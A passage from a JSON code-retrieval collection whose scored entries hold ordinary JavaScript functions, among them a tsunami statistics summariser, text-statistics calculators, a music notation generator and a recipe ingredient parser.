o.loadsarr = o.loads.split(/,/);\n}", "title": "" }, { "docid": "09de96cd77ef34ce6721e431dfe3ae6d", "score": "0.47562927", "text": "function funFacts(data) {\n var today = new Date();\n var currentMonth = today.getMonth() + 1;\n var currentDay = today.getDate();\n var currentMonthString = String(today.getMonth() + 1).padStart(2, '0');\n var currentDayString = String(today.getDate()).padStart(2, '0');\n\n var nbrTsunamiEntries = 0;\n var maxWaterHeight = 0;\n var maxWaterHeightCountry = \"\";\n var maxDeathDesc = 0;\n var maxDeathDescString = \"\";\n var maxMissingDesc = 0;\n var maxMissingDescString = \"\";\n var maxInjuriesDesc = 0;\n var maxInjuriesDescString = \"\";\n var maxDamageDesc = 0;\n var maxDamageDescString = \"\";\n var maxHousesDestroyedDesc = 0;\n var maxHousesDestroyedDescString = \"\";\n var maxHousesDamagedDesc = 0;\n var maxHousesDamagedDescString = \"\";\n \n data.forEach(function(d) {\n // Check for date match\n if ((d[\"Mo\"] == currentMonth) && \n (d[\"Dy\"] == currentDay)) {\n\n // Increment number of matched data rows\n nbrTsunamiEntries++;\n \n // Check Death Description and update if needed\n if (d[\"Death Description\"] > maxDeathDesc) {\n maxDeathDesc = d[\"Death Description\"];\n } // end if Death Description\n\n // Check Missing Description and update if needed\n if (d[\"Missing Description\"] > maxMissingDesc) {\n maxMissingDesc = d[\"Missing Description\"];\n } // end if Missing Description\n\n // Check Injuries Description and update if needed\n if (d[\"Injuries Description\"] > maxInjuriesDesc) {\n maxInjuriesDesc = d[\"Injuries Description\"];\n } // end if Injuries Description\n\n // Check Damage Description desc and update if needed\n if (d[\"Damage Description\"] > maxDamageDesc) {\n maxDamageDesc = d[\"Damage Description\"];\n } // end if Damage Description\n\n // Check Houses Destroyed Description desc and update if needed\n if (d[\"Houses Destroyed Description\"] > maxHousesDestroyedDesc) {\n maxHousesDestroyedDesc = d[\"Houses Destroyed Description\"];\n } // end if Houses Destroyed Description\n\n // Check Houses Damaged Description desc and update if needed\n if (d[\"Houses Damaged Description\"] > maxHousesDamagedDesc) {\n maxHousesDamagedDesc = d[\"Houses Damaged Description\"];\n } // end if Houses Damaged Description\n\n // Check for largest value of Max Water Height\n if (d[\"Maximum Water Height (m)\"] > maxWaterHeight) {\n maxWaterHeight = d[\"Maximum Water Height (m)\"];\n maxWaterHeightCountry = d[\"Country\"];\n } // end if\n } // end if date match\n }) // end forEach()\n\n // Assign strings to description category numbers assigned\n\n switch(maxDeathDesc) {\n case 0:\n maxDeathDescString = \"None\"\n break;\n case 1:\n maxDeathDescString = \"Few (~1 to 50 deaths)\"\n break;\n case 2:\n maxDeathDescString = \"Some (~51 to 100 deaths)\"\n break;\n case 3:\n maxDeathDescString = \"Many (~101 to 1000 deaths)\"\n break; \n case 4:\n maxDeathDescString = \"Very many (over 1000 deaths)\"\n break; \n } // end switch Death Description\n\n\n switch(maxMissingDesc) {\n case 0:\n maxMissingDescString = \"None\"\n break;\n case 1:\n maxMissingDescString = \"Few (~1 to 50 missing)\"\n break;\n case 2:\n maxMissingDescString = \"Some (~51 to 100 missing)\"\n break;\n case 3:\n maxMissingDescString = \"Many (~101 to 1000 missing)\"\n break; \n case 4:\n maxMissingDescString = \"Very many (over 1000 missing)\"\n break; \n } // end switch Missing Description\n\n\n switch(maxInjuriesDesc) {\n case 0:\n maxInjuriesDescString = \"None\"\n break;\n case 1:\n maxInjuriesDescString = \"Few (~1 to 50 injuries)\"\n break;\n case 2:\n maxInjuriesDescString = \"Some (~51 to 100 injuries)\"\n break;\n case 3:\n maxInjuriesDescString = \"Many (~101 to 1000 injuries)\"\n break; \n case 4:\n maxInjuriesDescString = \"Very many (over 1000 injuries)\"\n break; \n } // end switch Injuries Description\n\n\n switch(maxDamageDesc) {\n case 0:\n maxDamageDescString = \"None\"\n break;\n case 1:\n maxDamageDescString = \"Limited (roughly corresponding to less than $1 million)\"\n break;\n case 2:\n maxDamageDescString = \"Moderate (~$1 to $5 million)\"\n break;\n case 3:\n maxDamageDescString = \"Severe (~$5 to $25 million)\"\n break; \n case 4:\n maxDamageDescString = \"Extreme (~$25 million or more)\"\n break; \n } // end switch Damage Description\n\n\n switch(maxHousesDestroyedDesc) {\n case 0:\n maxHousesDestroyedDescString = \"None\"\n break;\n case 1:\n maxHousesDestroyedDescString = \"Few (~1 to 50 houses destroyed)\"\n break;\n case 2:\n maxHousesDestroyedDescString = \"Some (~51 to 100 houses destroyed)\"\n break;\n case 3:\n maxHousesDestroyedDescString = \"Many (101 to 1000 houses destroyed)\"\n break; \n case 4:\n maxHousesDestroyedDescString = \"Very Many (~over 1000 houses destroyed)\"\n break; \n } // end switch Houses Destroyed Description \n\n\n switch(maxHousesDamagedDesc) {\n case 0:\n maxHousesDamagedDescString = \"None\"\n break;\n case 1:\n maxHousesDamagedDescString = \"Few (~1 to 50 houses damaged)\"\n break;\n case 2:\n maxHousesDamagedDescString = \"Some (~51 to 100 houses damaged)\"\n break;\n case 3:\n maxHousesDamagedDescString = \"Many (101 to 1000 houses damaged)\"\n break; \n case 4:\n maxHousesDamagedDescString = \"Very Many (~over 1000 houses damaged)\"\n break; \n } // end switch Houses Damaged Description \n\n document.getElementById(\"funfacts\").innerHTML = `Fun facts for today's date: ${currentMonthString}/${currentDayString}`\n \n if (nbrTsunamiEntries == 0) {\n document.getElementById(\"funfactstext\").innerHTML = \"No tsunami events found with this Month and Day<br>\" +\n \"Max water height recorded: 0 m<br>\" +\n \"Death summary: None<br>\" +\n \"Missing summary: None<br>\" +\n \"Injuries summary: None<br>\" +\n \"Damage Cost summary: None<br>\" +\n \"Houses Destroyed summary: None<br>\" +\n \"Houses Damaged summary: None\"\n }\n else {\n document.getElementById(\"funfactstext\").innerHTML = `Number of tsunami events found on this date: ${nbrTsunamiEntries}<br>` +\n `Max water height recorded (m): ${maxWaterHeight} at Country: ${maxWaterHeightCountry}<br>` +\n `Death summary: ${maxDeathDescString}<br>` +\n `Missing summary: ${maxMissingDescString}<br>` +\n `Injuries summary: ${maxInjuriesDescString}<br>` +\n `Damage Cost summary: ${maxDamageDescString}<br>` +\n `Houses Destroyed summary: ${maxHousesDestroyedDescString}<br>` +\n `Houses Damaged summary: ${maxHousesDamagedDescString}` \n }\n\n\n\n\n\n\n\n\n // console.log(`Fun facts to return about: Month ${currentMonth}, Day ${currentDay}:`);\n // console.log(`Number of data rows found: ${nbrTsunamiEntries}`);\n // console.log(`Max water height: ${maxWaterHeight} at country: ${maxWaterHeightCountry}`);\n // console.log(`Death summary: ${maxDeathDescString}`);\n // console.log(`Missing summary: ${maxMissingDescString}`);\n // console.log(`Injuries summary: ${maxInjuriesDescString}`);\n // console.log(`Damage Cost summary: ${maxDamageDescString}`);\n // console.log(`Houses Destroyed summary: ${maxHousesDestroyedDescString}`);\n // console.log(`Houses Damaged summary: ${maxHousesDamagedDescString}`);\n\n} // end function funFacts()", "title": "" }, { "docid": "0da84206cb58d4817a60f2a0411acb2e", "score": "0.47556785", "text": "function genMeasure(stave){\n\n \tvar measureString = \"\";\n \tvar n = 4;\n \tvar numNotes = 0;\n \twhile (n > 0){\n \t\tn--;\n \t\tmeasureString = measureString + \" \" + genRandomNote(stave, getPoly(stave));\n \t\tnumNotes++; //increment numNotes every time we add a note.\n \t}\n \tmeasureString = measureString + \" |\";\n \tnumNotes += MEASURE_LENGTH_PADDING;\n \treturn {\n \t\tmeasureString: measureString, \n \t\tnumNotes: numNotes\n \t}\n }", "title": "" }, { "docid": "a2b240ca60c445eac9ff85061a526830", "score": "0.47544596", "text": "function CLC_SR_GetMoreInfo(){\r\n if (!CLC_SR_CurrentAtomicObject){\r\n return \"\";\r\n }\r\n CLC_Interrupt();\r\n var reversed_lineage = CLC_GetLogicalLineage(CLC_SR_CurrentAtomicObject).reverse();\r\n var place_in_lineage = 0;\r\n for (var i = 0; (reversed_lineage[place_in_lineage] && (i < CLC_SR_CurrentLevel) ); i++){\r\n place_in_lineage++;\r\n } \r\n var detailed_text = \"\";\r\n while (reversed_lineage[place_in_lineage] && !detailed_text){\r\n detailed_text = CLC_GenerateDetailedInfo(reversed_lineage[place_in_lineage]);\r\n var additionalLabelText = \"\";\r\n var additionalLabelObjArray = CLC_GetAssociatedLabels(reversed_lineage[place_in_lineage]);\r\n for (var i=0; i<additionalLabelObjArray.length; i++){\r\n additionalLabelText = additionalLabelText + CLC_GetTextContent(additionalLabelObjArray[i]);\r\n }\r\n if (additionalLabelText){\r\n additionalLabelText = CLC_SR_MSG0036 + additionalLabelText;\r\n }\r\n var additionalDescText = \"\";\r\n var additionalDescObjArray = CLC_GetAssociatedDescriptions(reversed_lineage[place_in_lineage]);\r\n for (var i=0; i<additionalDescObjArray.length; i++){\r\n additionalDescText = additionalDescText + CLC_GetTextContent(additionalDescObjArray[i]);\r\n }\r\n if (additionalDescText){\r\n additionalDescText = CLC_SR_MSG0037 + additionalDescText;\r\n }\r\n detailed_text = additionalLabelText + detailed_text + additionalDescText;\r\n CLC_SR_CurrentLevel++;\r\n place_in_lineage++;\r\n }\r\n if (!detailed_text){\r\n CLC_SR_CurrentLevel = 0;\r\n CLC_Say(CLC_SR_MSG0002, 0);\r\n }\r\n else {\r\n CLC_Say(detailed_text, 0);\r\n }\r\n }", "title": "" }, { "docid": "d53e7e21c4559a12f4045a0a7878a01d", "score": "0.4747581", "text": "async formatDuolingoData() {\n const {\n knownWords,\n vocabulary,\n // Ugly magic\n parsedKnowedWords = JSON.parse(knownWords),\n parsedVocabulary = JSON.parse(vocabulary),\n } = this.fetchedData;\n\n this.data = parsedVocabulary.vocab_overview.map((word) => {\n return {\n hanzi: word.word_string,\n category: word.skill,\n lastPracticed: utils.formatDate(new Date(word.last_practiced_ms)),\n mastered: parsedKnowedWords.includes(word.word_string) ||\n word.strength >= 0.9,\n strength: word.strength,\n };\n });\n }", "title": "" }, { "docid": "b936bd255905eacb609d06aed7f26604", "score": "0.47461152", "text": "function processInput(err, data) {\n\n if(err) throw err;\n\n data.toString().split('\\n').forEach(function (line) {\n\n // If the line is blank, do nothing\n if(line === '') return;\n\n var count = new Array();\n\n // Count how many times each digit appears\n line.split('').forEach(function(character) {\n count[character] ? count[character]++ : count[character] = 1;\n });\n\n // Get the line length\n var lineLen = line.length;\n\n // We start assuming that every number is self describing\n var isSelfDescribingNum = true;\n\n // Loop through the digits\n // 'index' denotes the digit that may appear in the string\n // 'frequency' show how many times it is expected the digit to appear\n for (var index=0; index<lineLen; index++) {\n\n var frequency = parseInt(line[index]);\n\n // If the expected frequency is different from the actual\n // count, then it isn't a self describing number.\n // Careful with something that may not be in the count array\n if(frequency !== ((typeof count[index] !== 'undefined') ? count[index] : 0)) {\n\n // Flag the result\n isSelfDescribingNum = false;\n\n // Exit the loop, nothing to do here anymore\n break;\n }\n }\n\n // Check and output the result\n if (isSelfDescribingNum) {\n console.log('1');\n } else {\n console.log('0');\n }\n\n });\n}", "title": "" }, { "docid": "ced7f68e872042a4e929d9917936ab04", "score": "0.47408763", "text": "function duration_from_task_dictionary(item){\n item_name = item.content \n item_has_time = item_name.indexOf(\"|\") != -1 && item_name.indexOf(\"[\") != -1 && item_name.indexOf(\"]\") != -1\n if (item_has_time){\n var duration =parseInt(item_name.substring(item_name.lastIndexOf(\"|\")+1,item_name.lastIndexOf(\"min\")));\n }\n else {\n duration = 0\n }\n return duration\n}", "title": "" }, { "docid": "caa134f7dd107007d213f49d955c6a97", "score": "0.47334468", "text": "function get_percentage_of_words_read_of_storyline(storyline,pieces_read){\n\n\tvar words_read = 0;\n\n\tfor (piece in pieces_read){\n\n\t\twords_read = words_read + count_words(piece);\n\n\t}\n\n\tvar all_pieces_in_topic = find_stories_from_storyline(storyline);\n\tvar total_words = 0\n\n\tfor (piece in all_pieces_in_topic){\n\n\t\ttotal_words = total_words + count_words(piece['uri'])\n\n\t}\n\n\n\treturn 100*(words_read/total_words);\n}", "title": "" }, { "docid": "4ac1897840dd105ce4ac6bbe13310ac5", "score": "0.4727922", "text": "function getStats(txt) \n{\n return {\n nChars: calcCharNums(txt),\n nWords: calcWordNums(txt),\n nLines: calcLineNums(txt),\n nNonEmptyLines: calcNonEmptyLineNums(txt),\n\t\tmaxLineLength: calcMaxLineLength(txt),\n averageWordLength: calcAverageWordLength(txt),\n palindromes: calcPalindromeNums(txt),\n longestWords: calcLongestWords(txt),\n mostFrequentWords: calcMostFrequentWords(txt)\n };\n}", "title": "" }, { "docid": "3e45d3c2b3116258f9d626e47d3c35d4", "score": "0.4727132", "text": "generateTabNotation(notes){\n\n var notation = \"$ \";\n\n var barBeats = 0;\n \n notes.forEach(note => {\n if(note){\n\n let tokens = note.split(\"-\");\n\n let chord = tokens[0];\n let rythm = tokens[1];\n\n barBeats += 1 / GuitarNotes.notesPerBeat[rythm];\n \n //notation += \" $\" + string + \" \" + fret + \" \" + GuitarNotes.rythmToTabSpace[rythm];\n notation += this.noteToTabNotation(chord) + GuitarNotes.rythmToTabSpace[rythm];\n\n if(barBeats >= 3.9){\n notation += \" |\";\n barBeats = 0;\n }\n\n }\n });\n\n notation += \"|\";\n\n return notation;\n }", "title": "" }, { "docid": "30bc96db5ae48293a5b32229a85d0607", "score": "0.47124273", "text": "function PTLPStoredResultToTidyString(setOfResults)\r\n {\r\n var result;\r\n\r\n var lineBreak = '<br />';\r\n\r\n result =\r\n 'Diameter: ' + setOfResults[0] + 'mm, ' + setOfResults[1] + lineBreak +\r\n 'Length: ' + setOfResults[2] + 'm' + lineBreak +\r\n 'Test duration: ' + setOfResults[3].toFixed(2) + ' minutes';\r\n\r\n return result;\r\n }", "title": "" }, { "docid": "aff43495e238abb5a27357376eee55f2", "score": "0.4711599", "text": "function statistics() {\r\n\t\r\n\tvar tricksWon;\r\n\tvar extraTricksBagged;\r\n}", "title": "" }, { "docid": "4c469e54524ab17b7ff3c8d66644adcf", "score": "0.47060984", "text": "function getStats(txt) {\n //number of Chars Calculation\n var nChars = txt.length;\n \n //number of Words Calculation\n var nWords = txt.replace(/\\n/g,\" \");\n nWords = nWords.replace(/\\W/g,\" \");\n //noNewLinetxt.trim();\n nWords = nWords.split(' ');\n for (let i in nWords){\n if (nWords[i] === '')\n {\n nWords.splice(i,1);\n }\n } \n nWords = nWords.filter(Boolean);\n \n //number of Lines Calculation \n var nLines = 0;\n if(nChars != 0){\n nLines = txt.split('\\n').length;\n \n }\n \n //number of Non Empty Lines\n var nNonEmptyLines = txt.replace('\\t',''); \n nNonEmptyLines = nNonEmptyLines.split('\\n');\n nNonEmptyLines = removeWhiteSpaceFromArray(nNonEmptyLines);\n \n //maximum Line Length\n var maxLineLength = maximumLineLength(nNonEmptyLines);\n \n //average Word Length\n var averageWordLength = avgWordLength(nWords);\n \n //palindromes length\n var palindromes = palindromefinder(nWords);\n \n //list of longest Words\n var longestWords = longestWordsList(nWords);\n \n //most Frequent Words\n var mostFrequentWords = mostFrequentWordsList(nWords);\n \n \n function mostFrequentWordsList(array){\n let suspectCounter = 0;\n let frequentWordsList = [];\n let frequentWordsCounter =[];\n let frequentWords = [];\n let alreadyChecked = false;\n let largestNumber = 0;\n let count = 0;\n let index = 0;\n for (let k in array){\n array[k].toLowerCase();\n }\n array.sort();\n \n for(let i = 0; i<array.length;i++){\n suspectCounter = 0;\n alreadyChecked = false;\n for(let m = 0; m < frequentWordsList.length;m++)\n {\n if(frequentWordsList[m] === array[i])\n {\n alreadyChecked =true;\n\n }\n \n }\n if(!alreadyChecked)\n {\n for ( let j =0; j < array.length; j++){\n if (array[i] === array[j])\n {\n suspectCounter++;\n }\n }\n frequentWordsList.push(array[i]);\n frequentWordsCounter.push(suspectCounter);\n }\n }\n \n while(count < 10 && frequentWordsList.length > 0)\n {\n largestNumber = 0;\n index = 0;\n for(let i in frequentWordsList)\n {\n if(largestNumber < frequentWordsCounter[i])\n {\n largestNumber = frequentWordsCounter[i];\n index = i;\n }\n \n }\n frequentWords.push(frequentWordsList[index]+\"(\"+frequentWordsCounter[index]+\")\");\n count++;\n frequentWordsList.splice(index,1);\n frequentWordsCounter.splice(index,1);\n \n }\n return frequentWords;\n \n }\n\n function longestWordsList(array){\n let wordLength = [];\n let count = 0;\n let wordsList = [];\n let alreadyExist = false;\n let longestWord = 0;\n let longestWordIndex = 0;\n let arraylist = [];\n array.sort();\n \n for(let i in array)\n {\n array[i].toLowerCase();\n wordLength.push(array[i].length);\n arraylist[i] = array[i];\n }\n while(count < 10 && arraylist.length > 0 )\n {\n alreadyExist = false;\n longestWordIndex = 0;\n longestWord = 0;\n for(let j = 0; j<wordLength.length;j++)\n {\n if(wordLength[j]> longestWord)\n {\n longestWord = wordLength[j];\n longestWordIndex = j;\n\n }\n }\n\n for(let k = 0; k< wordsList.length; k++)\n {\n if(wordsList[k] === arraylist[longestWordIndex])\n {\n alreadyExist = true;\n }\n }\n\n if(array[longestWordIndex] != null && !alreadyExist)\n { \n wordsList.push(arraylist[longestWordIndex]);\n count++;\n }\n\n wordLength.splice(longestWordIndex,1);\n arraylist.splice(longestWordIndex,1);\n }\n \n return wordsList;\n }\n \n function palindromefinder(array){\n let palindromelist = [];\n \n for (let i in array)\n {\n array[i] = array[i].toLowerCase();\n let mid = array[i].length/2;\n let left = [];\n let right= [];\n let palCause = true;\n \n if (array[i].length > 2 && array[i].length%2 !=0)\n { \n for( let j = 0; j < mid; j++)\n {\n left.push(array[i][j]);\n }\n \n for(let k = array[i].length-1; k > mid;k--)\n {\n right.push(array[i][k]);\n }\n \n \n for(let m = 0; m < left.length-1; m++)\n {\n if(left[m] != right[m])\n {\n palCause = false;\n }\n }\n if(palCause === true)\n {\n palindromelist.push(array[i]);\n }\n }\n \n else if (array[i].length > 2 && array[i].length%2 ==0)\n {\n for( let j = 0; j < mid; j++)\n {\n left.push(array[i][j]);\n }\n \n for(let k = array[i].length-1; k >= mid;k--)\n {\n right.push(array[i][k]);\n }\n \n for(let m = 0; m < left.length; m++)\n {\n if(left[m] != right[m])\n {\n palCause = false;\n }\n }\n \n if(palCause === true)\n {\n palindromelist.push(array[i]);\n }\n }\n\n }\n \n \n return palindromelist;\n \n }\n \n function avgWordLength(array){\n \n let wordLength = [];\n for(let i in array)\n {\n \n wordLength.push(array[i].length);\n }\n \n let sum = 0;\n for(let j in wordLength)\n {\n sum = sum + parseFloat(wordLength[j]);\n }\n if(wordLength.length == 0)\n {\n return 0;\n }\n return sum/wordLength.length;\n }\n \n function removeWhiteSpaceFromArray(array){\n var letters = /\\S/g;\n for ( let i in array)\n {\n if (array[i].match(/[a-z]/i)){\n continue;\n } \n array.splice(i,1);\n }\n return array;\n }\n \n function maximumLineLength(array){\n let count = 0;\n for ( let i in array)\n {\n if (array[i].length > count ) \n {\n count = array[i].length;\n }\n \n }\n return count;\n }\n \n return {\n nChars: nChars,\n nWords: nWords.length,\n nLines: nLines,\n nNonEmptyLines: nNonEmptyLines.length,\n averageWordLength: averageWordLength,\n maxLineLength: maxLineLength,\n palindromes: palindromes,\n longestWords: longestWords,\n mostFrequentWords: mostFrequentWords\n \n };\n}", "title": "" }, { "docid": "343a403808632b614a10efbc57792dc6", "score": "0.47051823", "text": "renderHealth() {\n let results = '';\n for(let i = 0; i < this.state.health.length; i++) {\n results += this.state.health[i];\n if(i < this.state.health.length - 1) {\n results += ' | ';\n }\n }\n return results;\n }", "title": "" }, { "docid": "d64e556cd6bc3c08d1cd068829c6e5ef", "score": "0.4704337", "text": "function processData(input) {\n 'use strict';\n const strings = input.split('\\n');\n const t = strings.shift();\n const a = 'abcdefghijklmnopqrstuvwxyz'; //could generate this with a for loop but whatever.\n const addLetters = function(strObj, ai, x){\n if(!strObj[ai]){\n strObj[ai] = [0,0];\n strObj[ai][x]++;\n }else{\n strObj[ai][x]++;\n }\n }\n for (let string of strings){\n let strObj = {}; //reset it for each string\n if(string.length%2 != 0){ //get rid of the odds.\n strObj = -1;\n console.log(strObj);\n }else{\n let len = string.length;\n let h = len/2;\n for(let i=0;i<h;i++){ //loop through first half.\n let ai = string[i];\n addLetters(strObj, ai, 0); //use letter array[0] for first string letters.\n }\n for(let i=h;i<len;i++){ //loop through second half.\n let ai = string[i];\n addLetters(strObj, ai, 1);//use letter array[1] for second string letters.\n }\n let total = 0;\n for(let each in strObj){\n if(each === -1){\n changes = -1;\n }else{\n let diff = Math.abs(strObj[each][0] - strObj[each][1]);\n total += diff;\n }\n }\n let changes = total/2;\n console.log(changes);\n }\n }\n}", "title": "" }, { "docid": "d1a502ef06733047537714f83794b841", "score": "0.47042173", "text": "function getStats(txt) {\r\n return {\r\n nChars: count_nChars(txt),\r\n nWords: count_nWords(txt),\r\n nLines: count_nLines(txt),\r\n nNonEmptyLines: count_nNonEmptyLines(txt),\r\n maxLineLength: count_maxLineLength(txt),\r\n averageWordLength: count_averageWordLength(txt),\r\n palindromes: list_palindromes(txt),\r\n longestWords: list_longestWords(txt),\r\n mostFrequentWords: list_mostFrequentWords(txt)\r\n };\r\n\r\n // ================ //\r\n // =============== // MAIN FUNCTIONS // =============== //\r\n // ================ //\r\n\r\n // ====================================================== //\r\n // nChars\r\n function count_nChars(txt){\r\n return txt.length;\r\n }\r\n // ====================================================== //\r\n // nWords\r\n function count_nWords(txt){\r\n return listOfWords(txt).length;\r\n }\r\n // ====================================================== //\r\n // nLines\r\n function count_nLines(txt){\r\n return nLines(txt).length;\r\n }\r\n // ====================================================== //\r\n // nNonEmptyLines\r\n // replace the nonalpha chars with empty\r\n // then check if there is any char in that line\r\n // Y ? -> not an empty line\r\n function count_nNonEmptyLines(txt) {\r\n nonEmptyLines = 0;\r\n lines = nLines(txt);\r\n for (i = 0; i < lines.length; i++){\r\n if(lines[i].replace(/[^a-zA-Z0-9]/gi, '') != ''){\r\n nonEmptyLines++;\r\n }\r\n }\r\n return nonEmptyLines;\r\n }\r\n // ====================================================== //\r\n // maxLineLength\r\n // compare line lengths until the max\r\n function count_maxLineLength(txt) {\r\n lines = nLines(txt);\r\n longestLine = 0;\r\n for (i = 0; i < lines.length; i++) {\r\n if (lines[i].length > longestLine) {\r\n longestLine = lines[i].length;\r\n }\r\n }\r\n return longestLine;\r\n }\r\n // ===================================================== //\r\n // averageWordLength\r\n // replace the nonalpha chars with empty, then count + div\r\n function count_averageWordLength(txt){\r\n noSpaceTXT = txt.replace(/[^a-zA-Z0-9]/gi, '').length\r\n return noSpaceTXT / count_nWords(txt);\r\n }\r\n // ===================================================== //\r\n // palindromes\r\n // get the list of words and check the cases\r\n // to see if it's a palindrome or not\r\n function list_palindromes(txt){\r\n wordList = listOfWords(txt);\r\n returnList = [];\r\n\r\n for(i = 0; i < wordList.length; i++){\r\n if(checkPalindrome(wordList[i])\r\n && (wordList[i] != '')\r\n && (wordList[i].length > 2)){\r\n returnList.push(wordList[i]);\r\n }\r\n }\r\n return returnList;\r\n }\r\n // ===================================================== //\r\n // longestWords\r\n // sort the list by word length\r\n // remove the duplicates\r\n // take the first 10 elements\r\n function list_longestWords(txt){\r\n if(txt.length == 0){\r\n return [];\r\n } else {\r\n\r\n wordList = listOfWords(txt);\r\n\r\n // sort by word length\r\n wordList.sort(function (a, b) {\r\n return b.length - a.length;\r\n });\r\n\r\n // remove duplicates\r\n wordList = wordList.filter(function(curt, next) {\r\n return wordList.indexOf(curt) == next;\r\n })\r\n\r\n // take first 10\r\n return wordList.slice(0, 10);\r\n }\r\n }\r\n // ===================================================== //\r\n // mostFrequentWords\r\n // Not the prettiest approach but easy to read //\r\n // 1st array : word list\r\n // 2nd array : freq of the words appearing\r\n // ---\r\n // checks if the current word is the same as the\r\n // previous, if yes, ++ the frequency in the 2nd\r\n // array, if not move on and add freq of 1\r\n function list_mostFrequentWords(txt) {\r\n if (txt.length == 0) {\r\n return [];\r\n } else {\r\n\r\n // sort the word list\r\n wordList = listOfWords(txt).sort();\r\n\r\n // empty lists\r\n words = [], freq = [], prevWord = '';\r\n\r\n // compare the words in the word list\r\n for (i = 0; i < wordList.length; i++) {\r\n if (wordList[i] != prevWord) {\r\n words.push(wordList[i]);\r\n freq.push(1);\r\n } else {\r\n freq[freq.length - 1]++;\r\n }\r\n prevWord = wordList[i];\r\n }\r\n\r\n // add the freq in \"()\" next to the word\r\n for (i = 0; i < words.length; i++) {\r\n words[i] = words[i] + \"(\" + freq[i] + \")\";\r\n }\r\n\r\n // compare by the freq char\r\n words.sort(function (a, b) {\r\n return parseInt(b[b.length - 2])\r\n - parseInt(a[a.length - 2]);\r\n });\r\n\r\n // take first 10\r\n return words.slice(0, 10);\r\n }\r\n }\r\n // ====================================================== //\r\n\r\n\r\n\r\n\r\n // ================ //\r\n // =============== // XTRA FUNCTIONS // =============== //\r\n // ================ //\r\n\r\n // ====================================================== //\r\n\r\n // creates an array of words from the given txt\r\n // ---\r\n // functions can definitely be combined, but this approach\r\n // provides easier readability so I separated them into\r\n // meaningful parts\r\n function listOfWords(txt){\r\n // if empty string, return an empty list\r\n if(txt.length == 0){\r\n return [];\r\n }\r\n\r\n // var to check the spaces in the beg and end\r\n edgeSpace = 0;\r\n\r\n // replace all non alphanumeric characters with ' '\r\n alphaOnlyText = txt.replace(/[^a-zA-Z0-9]/gi, ' ');\r\n\r\n // replace multiple spaces with only 1\r\n singleSpaceText = alphaOnlyText.replace(/\\s\\s+/g, ' ');\r\n\r\n // convert the whole string into lower case\r\n singleLowerCase = singleSpaceText.toLowerCase();\r\n\r\n // create an array by splitting the string into words\r\n wordList = singleLowerCase.split(' ');\r\n\r\n // remove empty strings\r\n wordList = wordList.filter(function(i) {\r\n return i != '';\r\n });\r\n\r\n // return the list of words\r\n return wordList;\r\n }\r\n\r\n // ====================================================== //\r\n\r\n // separates the lines into an array to be used\r\n // in the functions regarding the line counts\r\n // (split by the new line)\r\n function nLines(txt){\r\n return txt.split(/\\n/g);\r\n }\r\n\r\n // ====================================================== //\r\n\r\n // checks if the word reversed and joined is still\r\n // the same to confirm if it's a palindrome or not\r\n function checkPalindrome(txt) {\r\n return txt == txt.split('').reverse().join('');\r\n\r\n }\r\n\r\n}", "title": "" }, { "docid": "ba3111ac8d0383f610ab93e31469c43e", "score": "0.47025293", "text": "function display_data(data) {\n if (data.length === 0) {\n return;\n }\n let overdue = 0;\n let completed = 0;\n let low = 0;\n let medium = 0;\n let high = 0;\n let category_arr = [];\n let shortest = 999999999999;\n let longest = -1;\n data.forEach(task => {\n if (task.priority === \"Overdue\") {\n overdue += 1;\n }\n if (task.priority === \"Completed\") { \n completed += 1;\n const completiontime = compareDate(task.created_at.slice(0, 10), task.updated_at.slice(0, 10));\n if (completiontime < shortest) {\n shortest = completiontime;\n }\n if (completiontime > longest) {\n longest = completiontime;\n }\n }\n if (task.priority === \"Low\") {\n low += 1;\n }\n if (task.priority === \"Medium\") {\n medium += 1;\n }\n if (task.priority === \"High\") {\n high += 1;\n }\n category_arr.push(task.category.toUpperCase());\n })\n if (shortest === 999999999999 && longest === -1) {\n shortest = \"NA\";\n longest = \"NA\";\n }\n setArrCat(retrieveTaskCategories(category_arr));\n setCountOverdue(overdue);\n setCountCompleted(completed);\n setCountLow(low);\n setCountMedium(medium);\n setCountHigh(high);\n setCountTasks(overdue + completed + low + medium + high);\n setCountCompletionScore((100 - overdue/(overdue + completed + low + medium + high) * 100).toFixed(1));\n setShortestTime(shortest);\n setLongestTime(longest);\n }", "title": "" }, { "docid": "b396921ff9821f2d34317d5d78eea50d", "score": "0.4701241", "text": "function parse(data) {\n const result = [];\n let num = 0;\n for (let i = 0; i < data.length; i++) {\n if (data[i] === \"i\") {\n num++;\n } else if (data[i] === \"d\") {\n num--;\n } else if (data[i] === \"s\") {\n num = num ** 2;\n } else if (data[i] === \"o\") {\n result.push(num);\n }\n }\n return result;\n}", "title": "" }, { "docid": "544c53700b1a63b12f9d85af3382a9f3", "score": "0.46952784", "text": "Run() {\n for (const roomName in this.roomName2information) {\n if (DEBUG) console.log(`[${roomName}]`);\n const _cpuUsed = Game.cpu.getUsed();\n for (const tag in this.roomName2information[roomName].tags) {\n if (DEBUG) console.log(`\\t${tag}:`);\n const _cpuUsed = Game.cpu.getUsed();\n for (const index of this.roomName2information[roomName].tags[tag].working) {\n const _cpuUsed = Game.cpu.getUsed();\n this.taskPools[index].Run();\n if (DEBUG && Game.cpu.getUsed() - _cpuUsed >= 0.1) console.log(`\\t\\t-${this.taskPools[index].name} ${(Game.cpu.getUsed() - _cpuUsed).toFixed(2)}`);\n }\n // `waiting` Task still gets chance to run.\n for (const index of this.roomName2information[roomName].tags[tag].waiting) {\n if (this.taskPools[index].EmployeeAmount > 0) {\n const _cpuUsed = Game.cpu.getUsed();\n this.taskPools[index].Run();\n if (DEBUG && Game.cpu.getUsed() - _cpuUsed >= 0.1) console.log(`\\t\\t-${this.taskPools[index].name} ${(Game.cpu.getUsed() - _cpuUsed).toFixed(2)}`);\n }\n }\n this.room2tag2ticks[roomName][tag] = `${(Game.cpu.getUsed() - _cpuUsed).toFixed(2)}`;\n }\n this.room2ticks[roomName] = `${(Game.cpu.getUsed() - _cpuUsed).toFixed(3)}`;\n }\n }", "title": "" }, { "docid": "a51457e2847fb68a725fb60e94e0c52e", "score": "0.46873704", "text": "parseIngredients() {\n const unitsLong = ['tablespoons', 'tablespoon', 'ounces', 'ounce', 'teaspoons', 'teaspoon', 'cups', 'pounds'];\n const unitsShort = ['tbsp', 'tbsp', 'oz', 'oz', 'tsp', 'tsp', 'cup', 'pound'];\n const units = [...unitsShort, 'kg', 'g'];\n\n const newIngredients = this.ingredients.map(el => {\n // 1) Uniform units\n let ingredient = el.toLowerCase();\n unitsLong.forEach((unit, i) => {\n \n /* every element present in ingredients string which is also \n in unitsLong array replace it with unitsShort value*/\n ingredient = ingredient.replace(unit, unitsShort[i]);\n });\n\n // 2) Remove parentheses using regular expression\n ingredient = 